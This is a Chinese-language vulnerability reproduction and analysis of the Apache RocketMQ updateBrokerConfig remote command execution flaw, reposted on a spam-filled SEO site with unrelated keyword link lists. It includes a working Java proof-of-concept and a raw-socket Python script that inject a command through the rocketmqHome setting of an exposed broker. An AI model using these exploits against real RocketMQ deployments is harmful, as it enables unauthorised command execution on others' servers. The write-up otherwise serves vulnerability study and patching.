当前位置: 首页 > news >正文

wordpress just官网seo关键词排名系统

wordpress just,官网seo关键词排名系统,常州网约车哪个平台最好,宁波建设工程造价信息网地址漏洞简介 RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令…

漏洞简介

RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

安全版本

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

漏洞复现

在本地创建 maven 项目 并添加依赖

<dependencies>   <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --><dependency><groupId>org.apache.rocketmq</groupId><artifactId>rocketmq-tools</artifactId><version>5.1.0</version></dependency>
</dependencies>

编写漏洞利用代码

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;import java.util.Properties;public class poc1 {public static void main(String[] args) throws Exception {// 创建 Properties 对象Properties props = new Properties();//修改rocketmqHome配置props.setProperty("rocketmqHome","-c gnome-calculator test");props.setProperty("filterServerNums","1");// 创建 DefaultMQAdminExt 对象并启动DefaultMQAdminExt admin = new DefaultMQAdminExt();//此处为 namesrv 端口,此端口无需可访问admin.setNamesrvAddr("192.168.222.130:9876");admin.start();// 更新配置⽂件//此处为 broker 端口,必须可访问admin.updateBrokerConfig("192.168.222.130:10911", props);// 关闭 DefaultMQAdminExt 对象admin.shutdown();}
}

漏洞分析

20436bc2ba3a687a948385e48c98663f.jpeg 1acbc46d7f63a797a47514914b743caa.jpeg 91831a9f53bdb1f7d140c28b89211364.jpeg fef1a13d5ec00c6ffb370a555bbb4261.jpeg

我们看到真正有危险的操作应该是与 10911 进行通信的操作,没有进行身份验证和加密传输,同时带入了命令执行的参数

org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能

03a7a120edeef06c2ecf74d3b0dc46b7.jpeg org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest f18fdfc7d04107ccadca26cbd9ef1b44.jpeg org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig 863372a0726ca3a3a267be699202b9ee.jpeg org/apache/rocketmq/remoting/Configuration.java#update 79442e14d0e76f06598469550bac18ea.jpeg

如果属性名是其内置的,就进行更新操作

后面的一部分就比较清晰了

org/apache/rocketmq/broker/BrokerStartup.java#start

7c9482ac4c81912047fa0703bec13b29.jpeg org/apache/rocketmq/broker/BrokerController.java#start 5819319038559e732aea9fb62b0985d1.jpeg org/apache/rocketmq/broker/BrokerController.java#startBasicService 581ee0352eb73663a688677ee6770faf.jpeg
image
org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start 0fc9a3d1e9bbcbffc56adf5776c9f41a.jpeg
image
根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞
import socket
import binascii
client = socket.socket()# you ip
client.connect(('192.168.222.130',10911))# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

漏洞修复

移除了命令执行的模块

0715abe40432bb426522330e2e0273c1.jpeg

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

a37b24c45dab6e53b652516b904ef9a5.gif

靶场实操,戳“阅读原文“

http://www.yidumall.com/news/75053.html

相关文章:

  • 小企业网站建设设计软文推广多少钱一篇
  • 网站怎么做全站搜索安全又舒适的避孕方法有哪些
  • 北京给网站做系统的公司名称常用的网络营销方法及效果
  • 生物科技网站建设 中企动力北京接单平台app
  • 专业网站设计的公司价格网络软文营销案例3篇
  • 小众电商平台哈尔滨网站优化流程
  • 网站 建设开发合同模板百度关键词价格怎么查询
  • 哪有做机械设计的网站西安做网站哪家好
  • 视频网站的建设目标大数据技术主要学什么
  • tech域名可以做网站吗网络营销公司哪家好
  • h5在哪个网站上做网站排名seo软件
  • 青岛靠谱的做网站公司域名搜索
  • 怎样给公司做免费网站免费网站电视剧全免费
  • 做亚马逊网站的账务处理推广软文范文
  • ext做的网站有那些app推广接单网
  • 手机网站内容管理系统黄冈网站搭建推荐
  • 国家知识产权局专利查询系统官网网站seo是什么意思
  • easyui做门户网站什么优化
  • 可以做书的网站百度快照客服电话
  • 做外贸网站好的公司电工培训内容
  • 国外专门做视频翻译网站百度网址大全网站
  • 深圳做网站公司哪家比较好长沙网站制作
  • 容桂网站开发百度指数三个功能模块
  • 有哪些做共享充电宝的网站链交换反应
  • wordpress被劫持手机优化大师官方免费下载
  • 动态网站建设视频免费seo营销软件
  • 昆明网站制作公司百度推广全国新冠疫苗接种率
  • 有一个姑娘莱芜的莱芜的抖音优化排名
  • 加强公司内部网站建设鸿星尔克网络营销
  • 安卓apk软件下载官网百度sem优化师